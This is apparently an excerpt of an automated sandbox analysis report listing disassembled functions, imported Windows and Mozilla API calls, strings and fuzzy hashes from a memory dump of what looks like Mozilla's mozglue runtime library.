Instruction Fuzzy Hash: 5541E873A20329CFDF088FB8C884B6E7BA5EF49344F104025E92597365D77AE908CB95

Function 6BF85FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6BF86009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6BF86024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6BF2EE51,?), ref: 6BF86046
OutputDebugStringA.KERNEL32(?,6BF2EE51,?), ref: 6BF86061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BF86069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF86073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF86082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6BFA148E), ref: 6BF86091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6BF2EE51,00000000,?), ref: 6BF860BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF860C4

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 250af65da1d6f883400a9158f623cec4ef1e66add01079ce098776adef00698d
Instruction ID: 4372ee0132fa879a11d771b197672122343e51d76617986a4161a9d92e8a54a1
Opcode Fuzzy Hash: 250af65da1d6f883400a9158f623cec4ef1e66add01079ce098776adef00698d
Instruction Fuzzy Hash: E321D37290020C9BDB105F68DC49B9E7BA8FF45214F048868E81AA7262CB78E558CFE5

Function 6BF6DBB0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 207threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6DBE1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6DBE9

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BF6DC5D
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BF6DC7F

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

Part of subcall function 6BF69A60: GetCurrentThreadId.KERNEL32 ref: 6BF69A95
Part of subcall function 6BF69A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF69A9D
Part of subcall function 6BF69A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF69ACC
Part of subcall function 6BF69A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF69BA7
Part of subcall function 6BF69A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BF69BB8
Part of subcall function 6BF69A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BF69BC9

Part of subcall function 6BF6E8B0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BF6DCF5), ref: 6BF6E92D

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF6DD1B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF6DD44
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF6DD58

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

Strings

[I %d/%d] locked_profiler_save_profile_to_file(%s), xrefs: 6BF6DBF2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CurrentTimefreegetenv$ProcessStampThreadV01@@Value@mozilla@@_getpidmalloc$??1ios_base@std@@?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@___acrt_iob_func__stdio_common_vfprintfmoz_xmalloc
String ID: [I %d/%d] locked_profiler_save_profile_to_file(%s)
API String ID: 3378208378-1387374313
Opcode ID: cb39c0ac9e5042afd9bba38099f6aa30f1c8e44e9d159abd7c88aacacf2b6129
Instruction ID: aa0c86cad527f225c21816171db61820f62462fda9cd4e8209a552c501f558bc
Opcode Fuzzy Hash: cb39c0ac9e5042afd9bba38099f6aa30f1c8e44e9d159abd7c88aacacf2b6129
Instruction Fuzzy Hash: EA81E47A600705CFDB28DF38D494A5AB7E1FF89348F20892DD85687761EB38E809CB51

Function 6BF70000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF70039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF70041
GetCurrentThreadId.KERNEL32 ref: 6BF70075
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF70082
moz_xmalloc.MOZGLUE(00000048), ref: 6BF70090
free.MOZGLUE(?), ref: 6BF70104
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF7011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6BF7005B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 603d5ea10a7147243db307208d0cd1480b700b3ed81da19c5da3b28c50f24625
Instruction ID: e90d898be2fd776b8ec240f940e5687cd580050d094c715c866b05646f968434
Opcode Fuzzy Hash: 603d5ea10a7147243db307208d0cd1480b700b3ed81da19c5da3b28c50f24625
Instruction Fuzzy Hash: 4A41AC76810205DFCB24DF28D881A9ABBF4FF49314F40496EED9A97361D736E814CBA1

Function 6BF37E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF37EA7
malloc.MOZGLUE(00000001), ref: 6BF37EB3

Part of subcall function 6BF3CAB0: EnterCriticalSection.KERNEL32(?), ref: 6BF3CB49
Part of subcall function 6BF3CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6BF3CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6BF37EC4
mozalloc_abort.MOZGLUE(?), ref: 6BF37F19
malloc.MOZGLUE(?), ref: 6BF37F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF37F4D

Strings

d, xrefs: 6BF37F89

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: e40314859da9f18f5e702c9e84259213057b23b86d2f0bab1d3ac1fbdae3a8ac
Instruction ID: 6eb64a9dfe9da110d5a056b0f51fd6f5d51e1f5d379a90d8d071cedcea8b482b
Opcode Fuzzy Hash: e40314859da9f18f5e702c9e84259213057b23b86d2f0bab1d3ac1fbdae3a8ac
Instruction Fuzzy Hash: 7D311872D14359D7DB009B38CC05ABEB768EF96208F059269DC4997232FB35E5D8C390

Function 6BF33E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6BF33EEE
RtlFreeHeap.NTDLL ref: 6BF33FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6BF34006
RtlFreeHeap.NTDLL ref: 6BF340A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6BF33CCC), ref: 6BF340AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6BF33CCC), ref: 6BF340C2
RtlFreeHeap.NTDLL ref: 6BF34134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6BF33CCC), ref: 6BF34143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6BF33CCC), ref: 6BF34157

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 31133c883a6e38f183647e420bd477dfb22e66301f40489a523778fafab2238c
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: E1A172B2A00215CFDB54CF68C880659B7B5FF48314F65459AD909AF362D776E882CFE0

Function 6BF22030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6BF43F47,?,?,?,6BF43F47,6BF41A70,?), ref: 6BF2207F
memset.VCRUNTIME140(?,000000E5,6BF43F47,?,6BF43F47,6BF41A70,?), ref: 6BF220DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6BF43F47,6BF41A70,?), ref: 6BF2211A
EnterCriticalSection.KERNEL32(6BFAE744,?,6BF43F47,6BF41A70,?), ref: 6BF22145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6BF43F47,6BF41A70,?), ref: 6BF221BA
EnterCriticalSection.KERNEL32(6BFAE744,?,6BF43F47,6BF41A70,?), ref: 6BF221E0
LeaveCriticalSection.KERNEL32(6BFAE744,?,6BF43F47,6BF41A70,?), ref: 6BF22232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6BF22253, 6BF22268
MOZ_CRASH(), xrefs: 6BF2227D

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 54b21c42f70e31844d3fc86f5bc22e65410753db178c21ed7c364e0c40680d7c
Instruction ID: 8f0684b1858fc3202d20b2ad008d65f57397a8f55997dad8157534febc90a76f
Opcode Fuzzy Hash: 54b21c42f70e31844d3fc86f5bc22e65410753db178c21ed7c364e0c40680d7c
Instruction Fuzzy Hash: F361E333E20216CFDB08CEA8C885B6E77B1EF85314F254179E624AB6F5D77A9900C791

Function 6BF248E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6BF6483A,?), ref: 6BF24ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6BF6483A,?), ref: 6BF24AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6BF6483A,?), ref: 6BF24A82

Part of subcall function 6BF3CA10: mozalloc_abort.MOZGLUE(?), ref: 6BF3CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6BF6483A,?), ref: 6BF24A97
moz_xmalloc.MOZGLUE(15D4E801,?,6BF6483A,?), ref: 6BF24A35

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6BF6483A,?), ref: 6BF24A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6BF6483A,?), ref: 6BF24AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6BF6483A,?), ref: 6BF24B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6BF6483A,?), ref: 6BF24B2C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: bce2856b05648cdaea07587d56c7ed682be0b2885683dccdf5383d24b681ee0d
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: F87169B29007069FDB14CFB8C481AAAB7F4FF09308B10467ED15ACB661E775E655CB80

Function 6BF79D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BF78273), ref: 6BF79D65
free.MOZGLUE(6BF78273,?), ref: 6BF79D7C
free.MOZGLUE(?,?), ref: 6BF79D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BF79E0F
free.MOZGLUE(6BF7946B,?,?), ref: 6BF79E24
free.MOZGLUE(?,?,?), ref: 6BF79E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6BF79EC8
free.MOZGLUE(6BF7946B,?,?,?), ref: 6BF79EDF
free.MOZGLUE(?,?,?,?), ref: 6BF79EF5

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 63ffaaf31b946717cf5c2d1dd1ab5886edfe5d424845935bb103862e378d6e80
Instruction ID: 557f753e4e1466d63bf6fab52451754c25d9f960d7fa614f141c475cc3fb7984
Opcode Fuzzy Hash: 63ffaaf31b946717cf5c2d1dd1ab5886edfe5d424845935bb103862e378d6e80
Instruction Fuzzy Hash: 6D71D172905B429FD712DF28D54051BF7F4FF99310B4086AEE98A5B222EB34E881CB91

Function 6BF7DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6BF7DDCF

Part of subcall function 6BF5FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF5FA4B

Part of subcall function 6BF790E0: free.MOZGLUE(?,00000000,?,?,6BF7DEDB), ref: 6BF790FF
Part of subcall function 6BF790E0: free.MOZGLUE(?,00000000,?,?,6BF7DEDB), ref: 6BF79108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF7DE0D
free.MOZGLUE(00000000), ref: 6BF7DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF7DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF7DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF7DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6BF6DEFD,?,6BF34A68), ref: 6BF7DF32

Part of subcall function 6BF7DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BF7DB86
Part of subcall function 6BF7DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BF7DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6BF6DEFD,?,6BF34A68), ref: 6BF7DF65
free.MOZGLUE(?), ref: 6BF7DF80

Part of subcall function 6BF45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF45EDB
Part of subcall function 6BF45E90: memset.VCRUNTIME140(6BF87765,000000E5,55CCCCCC), ref: 6BF45F27
Part of subcall function 6BF45E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF45FB2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f88230411b23866276e11da075b982955165cd36a8fcb2fb92b081696077a021
Instruction ID: 91bffff96dec753f216c5be795556884a96589b22e27ac3c73e2956d3b8121fd
Opcode Fuzzy Hash: f88230411b23866276e11da075b982955165cd36a8fcb2fb92b081696077a021
Instruction Fuzzy Hash: 5B51C7BB6506019BD731AA28E8806AF73B6BF95304FC500BED51A53321D739F815C782

Function 6BF7AB90 Relevance: 13.6, APIs: 9, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF7ABB4
AcquireSRWLockExclusive.KERNEL32(6BF34A63), ref: 6BF7ABC0
ReleaseSRWLockExclusive.KERNEL32 ref: 6BF7AC06
GetCurrentThreadId.KERNEL32 ref: 6BF7AC16
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7AC27
ReleaseSRWLockExclusive.KERNEL32 ref: 6BF7AC66
free.MOZGLUE(?), ref: 6BF7AD19
free.MOZGLUE(00000000), ref: 6BF7AD2B
?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6BF7AD38

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree$Xbad_function_call@std@@
String ID:
API String ID: 2167474191-0
Opcode ID: 72bfac861158600eca6ec1b6dd15eea9080cea2b659cd1f9d892fd7326909f92
Instruction ID: 07a1afd314a20b5a34593c4de2c3c28be871e24f99d6877d41acc82bbeb6f3cd
Opcode Fuzzy Hash: 72bfac861158600eca6ec1b6dd15eea9080cea2b659cd1f9d892fd7326909f92
Instruction Fuzzy Hash: 00515476600B058FC7249F35C488B5ABBE1BF89314F214A6ED4AA83761EB74E848CB41

Function 6BF7CB30 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000000,00000002,00000040,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF7CB52
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF7CB82
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF7CB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF7CBA4
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF7CBC4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF7CBE9
std::_Facet_Register.LIBCPMT ref: 6BF7CBFB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF7CC20
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,6BF7BCAE,?,?,6BF6DC2C), ref: 6BF7CC65

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: cc479c43e91b4ca4196bff8bfbba38e7ccc07412762a1c1d7c3a571552d68317
Instruction ID: f6f81ca719c3336afa94b7ca0573bb450b5f2d9873c8d00d8cc85fc6e9d87463
Opcode Fuzzy Hash: cc479c43e91b4ca4196bff8bfbba38e7ccc07412762a1c1d7c3a571552d68317
Instruction Fuzzy Hash: 5541B372A00209CFDB14EF68D899A6D77B5EF49350F0440B9E50A9B362EB39DC44CB91

Function 6BF85D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6BF85C8C,?,6BF5E829), ref: 6BF85D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6BF85C8C,?,6BF5E829), ref: 6BF85D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6BF85C8C,?,6BF5E829), ref: 6BF85D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6BF85C8C,?,6BF5E829), ref: 6BF85D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6BF85C8C,?,6BF5E829), ref: 6BF85DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6BF85C8C,?,6BF5E829), ref: 6BF85DC9
std::_Facet_Register.LIBCPMT ref: 6BF85DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6BF85C8C,?,6BF5E829), ref: 6BF85E00
